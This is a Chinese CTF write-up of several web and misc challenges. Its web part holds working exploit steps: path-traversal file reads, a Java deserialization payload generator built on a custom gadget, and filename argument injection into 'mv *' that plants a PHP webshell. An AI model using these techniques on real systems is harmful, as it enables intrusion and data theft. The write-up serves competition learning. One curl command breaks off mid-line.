SUFFIXES=("_src.zip" "-src.zip" ".zip" "_source.zip" "-source.zip")

for pre in "${PREFIXES[@]}"; do
    for suf in "${SUFFIXES[@]}"; do
        NAME="${pre}${suf}"
        echo "Trying ${NAME}..."
        # 读取
        OUT=$(curl -s "http://challenge.bluesharkinfo.com:27018/api/FileRead?filename=${BASE}${NAME}")

        # 分析结果
        if [[ "$OUT" == *"data\":\""* && "$OUT" != *"null"* ]]; then
            echo "!!!!!! FOUND: $NAME !!!!!!"
            echo "$OUT" > src_found.json
            break 2
        elif [[ "$OUT" == *"尚未开发"* ]]; then
            echo "Existing but blocked: $NAME"
        fi
    done  
done

找到源码包的准确位置就是 /app/ezjava_src.zip,现在尝试读取

# 精准读取源码包
curl -s "http://challenge.bluesharkinfo.com:27018/api/FileRead?filename=../../../../../app/ezjava_src.zip" > source.json
# 提取 Base64 并还原为 zip
cat source.json | jq -r .data | base64 -d > ezjava_src.zip

# 解压源码
unzip -o ezjava_src.zip -d src_code
# 解压内部源码包
unzip -o src_code/src.zip -d src_code/inner_src

得到所有源代码

我们直接读取关键的上传逻辑文件,需要找到处理 /api/FileRead 和 /api/upload 的 Java 文件

cat文件后得到源码

1.api.java (入口逻辑)

FileRead 接口

if(filename.contains("flag") || filename.contains("jar")){
    return "读取flag功能尚未开发";
}

Upload 接口 (漏洞点):

// 后门逻辑
if(filename.substring(filename.lastIndexOf(".")).contains("ref")){
    byte[] bytes1 = Base64.decodeBase64(bytes);
    ByteArrayInputStream bis=new ByteArrayInputStream(bytes1);
    ObjectInputStream ois = new safeSer(bis); // 自定义 ObjectInputStream
    ois.readObject(); // 触发反序列化
    return "备份成功";
}

分析:上传后缀为 .ref 的文件,其内容会被 Base64 解码并进行反序列化

2. safeSer.java (防御逻辑)

该类重写了 resolveClass,定义了一个黑名单

  • 拦截了 CommonsCollections 相关类。
  • 拦截了 Runtime, ProcessBuilder, TemplatesImpl 等常见 RCE 类。
  • 拦截了 springframework 等类。
    结论:无法使用通用的 CC 链或 CB 链,必须寻找题目提供的自定义 Gadget。

3. YouFindThis.java (自定义 Gadget)

这是题目特意留下的利用类:

public class YouFindThis implements Serializable {
    public Class<?> aClass;
    public Class argclass;
    public Object input;
    public String methed;
    public Object args;

    private void readObject(ObjectInputStream ois) {
        ois.defaultReadObject();
        POFP();
    }

    public void POFP() {
        // ... check_reef 检查 ...
        Method method = aClass.getMethod(methed, argclass);
        method.invoke(input, args); // 任意方法执行
    }
}

功能:反序列化时,可以执行任意类的任意方法 input.method(args)

4. Function.java (二次防御)

POFP 方法中调用了 Function.check_reef(),检查了类名和方法名。

  • 黑名单exec, start, invoke, newInstance, getRuntime, ProcessBuilder 等。
  • 漏网之鱼java.io.File 类及其方法(如 renameTo, delete 等)未被禁用。

最终方案:

  1. 利用反序列化执行 java.io.File.renameTo() 方法,将 /flag/flag.flag 重命名/移动到 Web 目录下的 /app/upload/hack.txt
  2. 绕过:移动后的文件名为 hack.txt,不包含敏感词,可以直接通过 FileRead 读取。

exp生成脚本

import com.example.utile.YouFindThis;
import java.io.*;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {
        YouFindThis yft = new YouFindThis();
        
        // 构造利用链: new File("/flag/flag.flag").renameTo(new File("/app/upload/hack.txt"))
        yft.aClass = java.io.File.class;          // 目标类
        yft.argclass = java.io.File.class;        // 参数类型
        yft.methed = "renameTo";                  // 方法名
        yft.input = new java.io.File("/flag/flag.flag");       // 调用者 (源文件)
        yft.args = new java.io.File("/app/upload/hack.txt");   // 参数 (目标文件)

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(yft);
        oos.close();
        
        // 输出 Base64 Payload
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

:为了保证 serialVersionUID 一致,必须将题目源码中的 YouFindThis.java 复制到本地环境进行编译。

# 复制源码覆盖本地文件
cp src_code/inner_src/main/java/com/example/utile/YouFindThis.java exploit/com/example/utile/

然后重新编译、生成 Payload!

cd exploit
javac com/example/utile/*.java Exp.java
java Exp > payload.txt
curl -X POST -F "file=@payload.txt;filename=exploit.ref" "http://challenge.bl

最后访问文件,再进行base64转码

mv upload

页面是一个多文件上传的页面,题目提示了vim文件泄露,扫描得到index.php

黑名单过滤

$blacklist = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht', 'htaccess', ...];
// ...
$extension = trim($extension, '.'); // 去除末尾的点
if (in_array($extension, $blacklist)) { ... }

WAF 试图通过黑名单禁止上传 PHP 文件。

  1. 两步上传机制
  • Step 1: 用户上传文件 -> 保存到临时目录 /tmp/upload/
  • Step 2: 用户点击确认 -> 移动文件到 /var/www/html/upload/

漏洞点

// 确认移动时的逻辑
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

这里使用了 exec 执行系统命令 mv *

  • Wildcard Injection (通配符注入): * 会被 Shell 展开为当前目录下的所有文件名。如果文件名以 - 开头,mv 会将其解析为参数 (Option) 而不是文件名

和题目提示吻合,我开始尝试绕过过滤,

尝试.phar,返回405,说明服务器(可能是 Nginx)将其视为静态文件,不予解析。

上传.phtm,无法执行

利用 trim 漏洞(只去点不去空格)或 pathinfo 解析差异。

结果:上传成功(Linux 文件名带空格或点),但 Web 服务器无法匹配 .php. 后缀,导致无法执行。

后面使用了目录穿越,多种原因导致最后无法解析,

根据题目提示,查阅可知mv具有备份功能

  • -b (或 --backup): 如果目标文件已存在,不覆盖,而是创建备份。
  • -S SUFFIX (或 --suffix=SUFFIX): 指定备份文件的后缀。

开始我使用了backup,但是我一次性上传了三个文件,backup逻辑始终未触发

  • mv 执行时:源文件是 /tmp/upload/shell.png,目标目录是 /var/www/html/upload/
  • 如果目标目录下原本没有 shell.png
  • mv 就直接把文件移进去了,不会触发备份,也就不会重命名为 .php
  • 文件依然叫 shell.png,无法执行

没成功还以为是mv不同版本的解析问题,最后先上传一个shell.来绕过黑名单

  • 上传一个名为 shell. 的文件(内容为 Webshell)。
  • WAF 绕过原理shell. 末尾有点,pathinfo 提取后缀为空(或点),不在黑名单中。
  • 执行移动 -> 目标目录 /var/www/html/upload/ 下有了 shell.

然后同时上传三个文件,必须在之前上传一个shell.

  1. shell. (同名文件,内容随意)。
  2. -b (注入参数:开启备份)。
  3. -Sphp (注入参数:指定后缀为 php)。
  • 执行命令mv -b -Sphp shell. ... /var/www/html/upload/

执行过程

  • mv 试图把新的 shell. 移动到目标目录。
  • 发现目标目录已有 shell.
  • 触发备份机制:将旧的 shell. 重命名为 shell. + php = shell.php
  • 将新的 shell. 移入。

此时shell.就变为shell.php,访问执行命令


misc

Abnormal log

给了一份日志,明显看到有segment的数据,共有116段,先看开头

327fb9aa22190501dfbff187e8080505050505055f05050505050505342d9d79

注意到数据中有大量05字节。尝试与0x05进行XOR操作:

  • 32 ^ 05 = 37
  • 7f ^ 05 = 7a
  • b9 ^ 05 = bc
  • aa ^ 05 = af

得到:37 7a bc af,这是7z压缩文件的魔数

在最后115的segmen数据中同样解码

得到:00 61 00 67 00 26 00 70 00 6e 00 67 00 00 00 19

这是UTF-16LE编码的字符串:a g & p n ga&png

明显应该是一个7z压缩包里有个png,我们直接用脚本还原压缩包

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import binascii

# 直接从你的问题中提取所有File data segment的hex数据
# 这里只放关键数据,你可以把完整的116个hex字符串放在下面
all_hex_data = """
数据自己贴上去就行
"""

def main():
    # 清理hex数据,移除空白字符
    hex_lines = [line.strip() for line in all_hex_data.strip().split('\n') if line.strip()]
    
    # 验证数据完整性
    print(f"共提取到 {len(hex_lines)} 个hex数据块")
    print(f"第一个数据块: {hex_lines[0][:20]}...")
    print(f"最后一个数据块: {hex_lines[-1][:20]}...")
    
    # 拼接所有hex
    combined_hex = ''.join(hex_lines)
    print(f"\n总hex长度: {len(combined_hex)} 字符")
    print(f"相当于 {len(combined_hex)//2} 字节")
    
    # 转换为bytes
    try:
        encrypted_data = bytes.fromhex(combined_hex)
    except ValueError as e:
        print(f"错误: hex格式无效 - {e}")
        # 尝试修复不完整的hex
        if len(combined_hex) % 2 != 0:
            print(f"警告: hex长度为奇数 ({len(combined_hex)}),尝试修复...")
            combined_hex = combined_hex[:len(combined_hex) - (len(combined_hex) % 2)]
            encrypted_data = bytes.fromhex(combined_hex)
    
    print(f"加密数据大小: {len(encrypted_data)} 字节")
    
    # 验证文件头
    print("\n原始加密文件头 (前16字节):")
    print(encrypted_data[:16].hex())
    
    # XOR 0x05解密
    print("\n正在解密 (XOR 0x05)...")
    decrypted_data = bytes([b ^ 0x05 for b in encrypted_data])
    
    print("解密后文件头 (前16字节):")
    print(decrypted_data[:16].hex())
    
    # 检查文件类型
    if decrypted_data.startswith(b'7z\xbc\xaf\x27\x1c'):
        print("✓ 文件类型: 7z压缩文件")
    elif decrypted_data.startswith(b'MZ'):
        print("✓ 文件类型: Windows可执行文件 (PE)")
    elif decrypted_data.startswith(b'\x7fELF'):
        print("✓ 文件类型: Linux可执行文件 (ELF)")
    elif decrypted_data.startswith(b'PK'):
        print("✓ 文件类型: ZIP压缩文件")
    else:
        print("⚠ 未知文件类型")
    
    
    for pattern in flag_patterns:
        pos = decrypted_data.find(pattern)
        if pos != -1:
            print(f"找到模式 {pattern} 在位置 {pos}")
            # 提取可能的flag
            start = pos
            end = decrypted_data.find(b'}', start)
            if end != -1:
                flag = decrypted_data[start:end+1].decode('ascii', errors='ignore')
                print(f"可能的flag: {flag}")
    
    # 搜索文本内容
    print("\n提取可读文本...")
    text_chars = bytes(c for c in decrypted_data if 32 <= c < 127)
    text = text_chars.decode('ascii', errors='ignore')
    
    # 显示前500个字符的可读文本
    print("前500个可读字符:")
    print(text[:500])
    
    # 保存解密后的文件
    output_filename = "decrypted_file.7z"
    with open(output_filename, 'wb') as f:
        f.write(decrypted_data)
    
    print(f"\n✓ 解密完成!")
    print(f"文件已保存为: {output_filename}")
    print(f"文件大小: {len(decrypted_data)} 字节")
    
    # 提示下一步
    print("\n下一步:")
    print("1. 用7zip或其他解压工具打开 decrypted_file.7z")
    print("2. 检查解压出的文件")
    print("3. flag可能在压缩包内或文件内容中")

if __name__ == "__main__":
    main()

得到压缩包,解压后得到png就是flag

阿利维亚的传说

附件是一个文档和一张图,先看文档,就是一段话,最后交代了flag的格式,

我们直接分析图片,imhex打开看16进制数据,在最后发现

有一个flag3.txt,用随波逐流提取隐藏的数据,

504b030414000100000093b1325bb46781a6340000002800000009000000666c6167332e747874811497bd052589a24b629b2021a1b1040b105f89a61875b17cc74eefcae20e503a68b24b131bf0e0a2358b0a962495ed87889055504b01023f0014000100000093b1325bb46781a63400000028000000090024000000000000002000000000000000666c6167332e7478740a002000000000000100180075477d49a628dc0100000000000000000000000000000000504b050600000000010001005b0000005b0000000000

504b0304 就是 ZIP 文件的典型文件头(PK\x03\x04),我们转为压缩包,发现里面有flag3.txt文件,解压要密码,没什么信息我们直接爆破得到密码

打开文件得到谕言3:

T=FMfr

R=iytY

U=nGFo

E=diou

第二个谕言就是lsb隐写,分析图片数据直接得

W = Hoeih

H = ouTgo

l = pMhhi

L = eaetc

E = YkrCe

还有个谕言1,图片没找到,回头把文档丢尽随波逐流发现有隐藏信息

不过我还是不知道咋隐写的,丢给ai,ai能看到原始数据就直接给出来了

V: Dortt

A: otuTa

N: NTsin

三段文本进行列式换位密码还原,得到原文,根据要求提交就是了

小蓝鲨的神秘文件

给了一个dat文件,

开始我还以为是什么古汉语解码,或者文本隐写啥的,试了一通没有用,回过头来看文本,直接看到关键信息,说flag在官网新闻里,我们直接微信找到公众号的新闻动态

内含彩蛋,点进去翻到最下面就能看到flag了

木林森

题目给了很大一段文本似乎是base64,看到开头是 iVBORw0KGgoAAAA,这是明显的png图片头,我们写脚本提取出来,这段文本明显有三段数据用@分开了,我们把第一段png图的数据块提取出来,

import base64
import re

def extract_images_from_content(content, output_prefix="image"):
    """
    从包含多个@分隔的base64数据中提取图片
    
    参数:
        content: 包含@分隔的完整文本
        output_prefix: 输出图片文件名前缀
    """
    parts = content.strip().split('@')
    image_count = 0
    
    for i, part in enumerate(parts):
        part = part.strip()
        if not part:
            continue
            
        try:
            # 检查是否是有效的base64
            if len(part) < 100:  # 太短的可能不是图片
                continue
                
            # 解码base64
            img_data = base64.b64decode(part)
            
            # 检查是否是有效的图片文件
            if len(img_data) < 100:  # 图片太小
                continue
            
            # 根据文件头确定文件类型
            if img_data[:8] == b'\x89PNG\r\n\x1a\n':
                ext = '.png'
            elif img_data[:3] == b'\xff\xd8\xff':
                ext = '.jpg'
            elif img_data[:6] == b'GIF87a' or img_data[:6] == b'GIF89a':
                ext = '.gif'
            elif img_data[:2] == b'BM':
                ext = '.bmp'
            else:
                # 如果不是标准图片头,但解码成功且数据较大,可能是某种加密或压缩
                print(f"部分 {i}: 解码成功但未识别为图片 (大小: {len(img_data)} 字节)")
                continue
            
            # 生成文件名
            filename = f"{output_prefix}_{i}_{image_count}{ext}"
            
            # 保存文件
            with open(filename, 'wb') as f:
                f.write(img_data)
            
            image_count += 1
            print(f"✓ 已保存图片: {filename} (大小: {len(img_data)} 字节)")
            
        except Exception as e:
            # 解码失败,这部分可能不是base64图片
            pass
    
    print(f"\n总共提取了 {image_count} 张图片")
    return image_count

# 使用方法
if __name__ == "__main__":
    # 1. 从文件中读取内容
    with open('木林森.txt', 'r', encoding='utf-8') as f:
        content = f.read()
    
    # 2. 提取图片
    extract_images_from_content(content)

得到一个二维码图片,用QR解码后得到数据20000824

继续分析

第二段依然还是一个图片,我们再次用脚本提取


import base64

# 假设文件内容为 content(需要你完整读入文件)
with open("木林森.txt", "r", encoding="utf-8") as f:
    content = f.read()

# 找到 # 和 @ 之间的部分(第二个图片)
parts = content.split("@")
if len(parts) >= 2:
    # 第一个 @ 之前的内容是第一部分和第二部分
    first_two = parts[0]
    # 找到 # 的位置(第二部分 base64 开始)
    if "#" in first_two:
        second_b64 = first_two.split("#")[-1].strip()  # /9j/4AA...
        # 解码
        try:
            img_data = base64.b64decode(second_b64)
            with open("second.jpg", "wb") as f:
                f.write(img_data)
            print("第二部分图片保存为 second.jpg")
        except Exception as e:
            print("解码失败:", e)
    else:
        print("没找到 #")
else:
    print("文件没有 @ 分隔符")

得到图片,打开是社会主义核心价值观

常做杂项和密码的肯定知道社会主义核心价值观这个编码方式,我们解码后得到

mamba,但是这四个点估计也有用,最后一段就是纯数据,估计前面两个是密钥,解密最后一段,

卡了很久,结果是把20000824分别填入这四个点作为密钥,题目也提示了Ron's Code For,Ron发明了很多加密方式,RC4,RC5等就是以他命名,这个题就是以RC4解密

import binascii

def rc4(key, data):
    S = list(range(256))
    j = 0
    out = []
    # KSA (Key Scheduling Algorithm)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    # PRGA (Pseudo-Random Generation Algorithm)
    i = j = 0
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

key = b"2000Mamba0824"
ciphertext = binascii.unhexlify("31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036")
print(rc4(key, ciphertext).decode())

运行得到flag

美丽的风景照

大阴题,必须差评如潮,题目给了个gif文件,一共七张图,每个图都有一段文本,在线网址提取就行

https://ezgif.com/split/ezgif-71c20d375ba512f8.gif.html

开始真做不出来,没提示只有作者自己知道怎么加密,开始提示了按彩虹颜色排序,又提示了:这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的 。总之就是古风建筑的图片里的文本都要倒序,这个提示还挺误解,因为古建筑很明显的只有一张图片,我开始只以为那一段文本倒序就行,结果古代风格的图片都要。

这种题就作者自己知道怎么加密的,没提示估计只能乱举法了,最终

颜色图片内容风格判断提取文字处理方式 (Hint 2)处理后文字
红 (Red)红墙 (古建筑)古风jqW2倒序2Wqj
橙 (Orange)琉璃瓦屋顶古风Dg2C倒序C2gD
黄 (Yellow)黄色椅子/灯现代7HLo8正序7HLo8
绿 (Green)绿色商场/植物现代6yRWh正序6yRWh
靛 (Indigo)青花瓷瓶古风3CaEK倒序KEaC3
蓝 (Blue)蓝色摩天大楼现代ZXw8T正序ZXw8T
紫 (Violet)紫色城市夜景现代98Mz正序98Mz

得到最终文本,34字符,符合base58解码

# Base58 decode script (no external libraries required)

alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

def b58decode(s: str) -> bytes:
    num = 0
    for char in s:
        num = num * 58 + alphabet.index(char)

    # convert integer to bytes (big-endian)
    decoded = num.to_bytes((num.bit_length() + 7) // 8, 'big')

    # handle leading '1' which represents leading zero bytes
    pad = len(s) - len(s.lstrip('1'))
    return b"\x00" * pad + decoded

if __name__ == "__main__":
    encoded = "2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz"
    decoded = b58decode(encoded)
    print("Decoded bytes:", decoded)
    print("As string:", decoded.decode(errors="ignore"))

直接随波逐流一把梭也行

Image_is_all_you_need

下载附件,给了6张图片和很多py脚本,题目说要会ai和密码,多的不说了喂给gpt,

分析得到

  • main.py:这是 (n,r) 门限秘密分享 的编码器,用 Shamir-like polynomial 在 mod 257 下生成 6 份 share,并对 像素为 256 的位置做额外记录

share_secret

  • 它把每份 share 写成 PNG,并且把额外信息写在 tEXt chunk 中。

总之,需要六张图拼凑在一起才能还原,不过脚本里的r值没写出来,总之都提取一遍,23456,最终图片6是可用的,

import struct
import numpy as np
from PIL import Image

# ------------------------------------
#     读取 PNG 的 tEXt chunk
# ------------------------------------
def read_text_chunk(path):
    with open(path, 'rb') as f:
        data = f.read()

    pos = 8
    txts = []
    while pos < len(data):
        length = int.from_bytes(data[pos:pos+4], 'big')
        ctype = data[pos+4:pos+8]

        if ctype == b'tEXt':
            chunk = data[pos+8:pos+8+length]
            txts.append(chunk)

        pos += 12 + length
    return txts


# ------------------------------------
#     Lagrange interpolation mod p
# ------------------------------------
def lagrange_interpolate_at_zero(xs, ys, p):
    """
    给定点 (xs[i], ys[i]),求 f(0)
    """
    k = len(xs)
    total = 0

    for i in range(k):
        xi, yi = xs[i], ys[i]
        num, den = 1, 1

        for j in range(k):
            if j == i:
                continue
            xj = xs[j]
            num = (num * xj) % p
            den = (den * (xj - xi)) % p

        li = num * pow(den, p - 2, p) % p   # 使用费马小定理求逆
        total = (total + yi * li) % p

    return total


# ------------------------------------
#     主恢复函数
# ------------------------------------
def recover(shares_paths, output_path="secret_recovered.png"):
    n = len(shares_paths)
    assert n == 6, "你的脚本要求 n = 6"

    # 读取 share 图片与 extra(记录 256 位置)
    shares = []
    extras = []

    for p in shares_paths:
        img = np.array(Image.open(p)).astype(int)
        shares.append(img.reshape(-1))

        # 读取 tEXt chunk
        chunk = read_text_chunk(p)[0]
        extra_list = eval(chunk.decode())
        extras.append(extra_list)

    shares = np.array(shares)  # shape (6, N)

    # 恢复 true 256 像素
    for i in range(6):
        shares[i, extras[i]] = 256

    # x 值为 1~6
    xs = list(range(1, 7))
    p = 257  # mod

    N = shares.shape[1]
    orig = np.zeros(N, int)

    # 对每个像素做插值
    for k in range(N):
        ys = shares[:, k]
        orig[k] = lagrange_interpolate_at_zero(xs, ys, p)

    # reshape 成图像
    img0 = Image.open(shares_paths[0])
    w, h = img0.size

    orig_img = orig.reshape(h, w, -1)

    # 将像素 256 映射回 0(uint8)
    orig_uint8 = np.where(orig_img == 256, 0, orig_img).astype(np.uint8)

    Image.fromarray(orig_uint8).save(output_path)
    print("恢复完成:", output_path)


# ------------------------------------
#              用法
# ------------------------------------
if __name__ == "__main__":
    shares = [f"secret_{i}.png" for i in range(1, 7)]
    recover(shares)

最后根据脚本分析,这是神经网络隐写,脚本给出了具体解密方式,让ai给你写一个恢复的脚本

import torch
import torch.nn as nn
import numpy as np
import torchvision.transforms as T
from PIL import Image
import zlib
from reedsolo import RSCodec, ReedSolomonError

# 导入题目模块
from model import Model
from utils import DWT, bits_to_bytearray
import block
import net

# --- 1. 必要的类重写 (SafeIWT 和 Reverse) ---

class SafeIWT(nn.Module):
    def __init__(self):
        super(SafeIWT, self).__init__()
        self.requires_grad = False
    def forward(self, x):
        r = 2
        in_batch, in_channel, in_height, in_width = x.size()
        out_batch, out_channel, out_height, out_width = in_batch, int(in_channel / (r ** 2)), r * in_height, r * in_width
        x1 = x[:, 0:out_channel, :, :] / 2
        x2 = x[:, out_channel:out_channel * 2, :, :] / 2
        x3 = x[:, out_channel * 2:out_channel * 3, :, :] / 2
        x4 = x[:, out_channel * 3:out_channel * 4, :, :] / 2
        h = torch.zeros([out_batch, out_channel, out_height, out_width]).float().to(x.device)
        h[:, :, 0::2, 0::2] = x1 - x2 - x3 + x4
        h[:, :, 1::2, 0::2] = x1 - x2 + x3 - x4
        h[:, :, 0::2, 1::2] = x1 + x2 - x3 - x4
        h[:, :, 1::2, 1::2] = x1 + x2 + x3 + x4
        return h

def inv_block_reverse(self, x):
    y1, y2 = x.narrow(1, 0, self.channels*4), x.narrow(1, self.channels*4, self.channels*4)
    s1 = self.r(y1)
    t1 = self.y(y1)
    scale = self.e(s1)
    x2 = (y2 - t1) / scale
    t2 = self.f(x2)
    x1 = y1 - t2
    return torch.cat((x1, x2), 1)

def simple_net_reverse(self, x):
    out = self.inv8.reverse(x)
    out = self.inv7.reverse(out)
    out = self.inv6.reverse(out)
    out = self.inv5.reverse(out)
    out = self.inv4.reverse(out)
    out = self.inv3.reverse(out)
    out = self.inv2.reverse(out)
    out = self.inv1.reverse(out)
    return out

block.INV_block.reverse = inv_block_reverse
net.simple_net.reverse = simple_net_reverse

# --- 2. 暴力解码逻辑 ---

def smart_decode(full_bits):
    """
    在整个比特流中搜索有效的 RS 块。
    原理:Flag 被重复了很多次,只要有一份是完好的,或者凑出一份完好的,就能解出来。
    """
    rs = RSCodec(128)
    
    # 将所有比特转为字节
    full_bytes = bits_to_bytearray(full_bits)
    print(f"提取出的总字节数: {len(full_bytes)}")
    
    # 搜索 Zlib 头 (0x78)
    # 常见的 Zlib 头: 78 9C (Default), 78 01 (Low), 78 DA (Best)
    # 这里我们只搜 0x78,因为它是 RS 编码前的第一个字节
    candidates = []
    for i, b in enumerate(full_bytes):
        if b == 0x78: # 'x'
            candidates.append(i)
            
    print(f"在数据流中发现了 {len(candidates)} 个可能的 Zlib 头 (0x78)。")
    print("正在尝试逐个解码...")

    for i, start_index in enumerate(candidates):
        # 我们不知道确切的长度,但通常 Flag 不会特别长
        # 我们可以尝试截取一段合理的长度交给 RS 解码
        # RS 128 意味着末尾有 128 字节校验。假设压缩后的 flag < 200 字节,总长约 300-400
        # 我们尝试截取不同长度
        
        # 实际上,如果 start_index 正确,RSCodec(128).decode 会自动处理截断(只要给的数据足够包含 Message+ECC)
        # 我们截取 512 字节尝试 (足够覆盖大多数短 Flag)
        chunk = full_bytes[start_index : start_index + 512]
        
        try:
            # 尝试 RS 解码
            decoded_data = rs.decode(chunk)[0] # 返回 (data, decoded_with_ecc, ecc_padding)
            
            # 如果 RS 成功,尝试 Zlib 解压
            try:
                text = zlib.decompress(decoded_data)
                print(f"\n[!] 在第 {i+1} 个候选中成功解密!(Offset: {start_index})")
                print("="*40)
                print(f"Flag: {text.decode('utf-8', errors='ignore')}")
                print("="*40)
                return True
            except zlib.error:
                # RS 通过了但 Zlib 挂了?比较少见,可能是伪阳性
                pass
                
        except ReedSolomonError:
            # 当前块损坏,继续下一个
            continue
        except Exception:
            continue

    print("\n单块解码全部失败。尝试高级去噪(多数投票)...")
    
    # 如果单独解码都失败了,说明每一份都有噪声。
    # 我们利用“重复”特性,计算所有候选块的“平均值”。
    if len(candidates) > 10:
        # 假设所有块长度一致(通常是的),计算两个 0x78 之间的距离作为周期
        diffs = [candidates[j+1] - candidates[j] for j in range(len(candidates)-1)]
        from collections import Counter
        period = Counter(diffs).most_common(1)[0][0]
        print(f"检测到数据重复周期: {period} 字节")
        
        # 堆叠所有块
        blocks = []
        for start in candidates:
            if start + period <= len(full_bytes):
                blocks.append(list(full_bytes[start : start + period]))
        
        if not blocks:
            return False

        # 多数投票 (Bitwise voting 更好,但 Byte voting 写起来简单且通常有效)
        recovered_bytes = bytearray()
        block_len = len(blocks[0])
        num_blocks = len(blocks)
        
        for pos in range(block_len):
            # 收集所有块在当前位置的字节
            bytes_at_pos = [b[pos] for b in blocks]
            # 选出现次数最多的
            common_byte = Counter(bytes_at_pos).most_common(1)[0][0]
            recovered_bytes.append(common_byte)
            
        print("已构建去噪后的数据块,尝试解码...")
        try:
            # 这里 recovered_bytes 应该包含 Message + ECC + Padding
            # 我们只需要 Message + ECC
            # 再次尝试 RS
            decoded = rs.decode(recovered_bytes)[0]
            flag = zlib.decompress(decoded)
            print("\n" + "="*40)
            print(f"【去噪成功】Flag: {flag.decode('utf-8')}")
            print("="*40)
            return True
        except Exception as e:
            print(f"去噪后解码依然失败: {e}")
            # 最后一搏:直接解压去噪后的数据(忽略 RS)
            try:
                flag = zlib.decompress(recovered_bytes) # 可能需要在某个位置截断,zlib 会忽略尾部
                print(f"【暴力解压】Flag: {flag.decode('utf-8')}")
            except:
                pass
                
    return False

# --- 3. 主程序 ---

def solve():
    print("开始提取...")
    device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
    
    model = Model(cuda=torch.cuda.is_available())
    state_dicts = torch.load('misuha.taki', map_location=device)
    if 'net' in state_dicts:
        network_state_dict = {k: v for k, v in state_dicts['net'].items() if 'tmp_var' not in k}
    else:
        network_state_dict = state_dicts
    model.load_state_dict(network_state_dict, strict=False)
    model.eval()
    if not torch.cuda.is_available():
        model.cpu(); model.model.cpu()
        
    dwt = DWT().to(device)
    iwt = SafeIWT().to(device) # 使用 SafeIWT

    try:
        img_pil = Image.open('recovered_secret.png').convert('RGB')
    except:
        print("Missing recovered_secret.png")
        return
        
    img_pil = img_pil.resize((600, 450))
    cover = T.ToTensor()(img_pil).unsqueeze(0).to(device)

    y1 = dwt(cover)
    y2 = torch.zeros_like(y1).to(device)
    inp_rev = torch.cat([y1, y2], dim=1)
    
    with torch.no_grad():
        out_rev = model.model.reverse(inp_rev)
    
    x2_rev = out_rev.narrow(1, 12, 12)
    payload_tensor = iwt(x2_rev)
    
    print("Payload 提取完成,开始分析比特流...")
    payload_flat = payload_tensor.cpu().numpy().flatten()
    bits = (payload_flat > 0.5).astype(int).tolist()
    
    # 调用智能解码
    smart_decode(bits)

if __name__ == "__main__":
    solve()

冲刺!偷摸零!

题目给了jar file,打开是一个类似天天酷跑的游戏,明显是没有终点的,但是有得分,做过很多这种游戏题可能要多少多少分给你flag,我们用jave反编译寻找游戏逻辑,有很多程序都行给出下载地址

JD GUI很轻便,对于这个题已足够使用,https://java-decompiler.github.io/

Bytecode Viewer更强集成了多种反编译器,功能更多,https://bytecodeviewer.com/

我们打开文件,很容易看到有ctf.db文件,搜索知道.db是 SQLite 的默认存储格式,是典型的 SQLite 数据库文件,我们提出来成可读文件

找到第一部分flag,题目提示了有两部分,我们直接去看整个游戏逻辑,找到run文件,在gameover view找到关键信息,flag被加密了,分析整个游戏逻辑,也没有设置返回flag的ui,正常游玩是肯定不能得到flag的

显然flag被xor加密,给出了key,直接解密

encrypted = [ 
    5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 
    32, 10, 18, 20, 18, 20, 116, 116, 40 
]

key = 85

decrypted = ''.join(chr(b ^ key) for b in encrypted)

print("Decrypted Part2:", decrypted)

得到第二段flag

小蓝鲨的千层FLAG

给了一个压缩包,不知道密码,查看一下压缩包的信息

发现密码直接被写在了comment中,里面有998.zip,我们使用给的密码解压,

unzip flagggg999.zip -d out/

得到998.zip,重复操作,发现密码依然被写在commen中,且里面含有997.zip,我们直接写一个脚本,依次解压

#!/bin/bash

# 起始 zip 文件
current="flagggg999.zip"
layer=0

# 创建输出目录
mkdir -p auto_out

while true; do
    echo -e "\n====================="
    echo " 当前文件: $current"
    echo " 第 $layer 层"
    echo "====================="

    # 从 zipfile comment 自动提取密码
    pass=$(zipinfo -v "$current" 2>/dev/null | grep "The password is" | awk '{print $4}')
    
    if [ -z "$pass" ]; then
        echo "❌ 未找到 password comment,可能到达最终文件。"
        break
    fi

    echo "🔑 提取到密码: $pass"

    # 解压
    outdir="auto_out/layer_$layer"
    mkdir -p "$outdir"

    7z x "$current" -p"$pass" -o"$outdir" >/dev/null

    echo "✔ 解压到 $outdir"

    # 找到下一层 zip
    next=$(ls "$outdir"/*.zip 2>/dev/null | head -n 1)

    if [ -z "$next" ]; then
        echo "🎉 未找到更多 zip 文件,任务结束!"
        break
    fi

    # 更新为下一层
    current="$next"
    layer=$((layer+1))
done

echo -e "\n🎉 所有层已处理完毕!请查看 auto_out 目录。"

给执行权限然后运行chmod +x auto_unzip.sh

最后得到flag3.zip,这个应该需要使用题目所提示的明文攻击,我们查看zip相关信息

https://www.freebuf.com/articles/network/255145.html
zipinfo -v flagggg3.zip

可以看到有

compression method: deflated
file security status: encrypted

说明这是 传统 ZipCrypto 加密,可以被 BKCrack 以已知明文攻击破解。

根据文章,我们构建payload

printf "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00" > plain12.bin
bkcrack -C flagggg3.zip -c flagggg2.zip -p plain12.bin -o 30 -t 32

爆破到密钥后解压

bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2_dec.zip

后续zip就是没有密码,解压到最后获取flag.txt

flagggg2_dec.zip

消失的flag

题目给了个nc连接的接口,直接尝试连一下

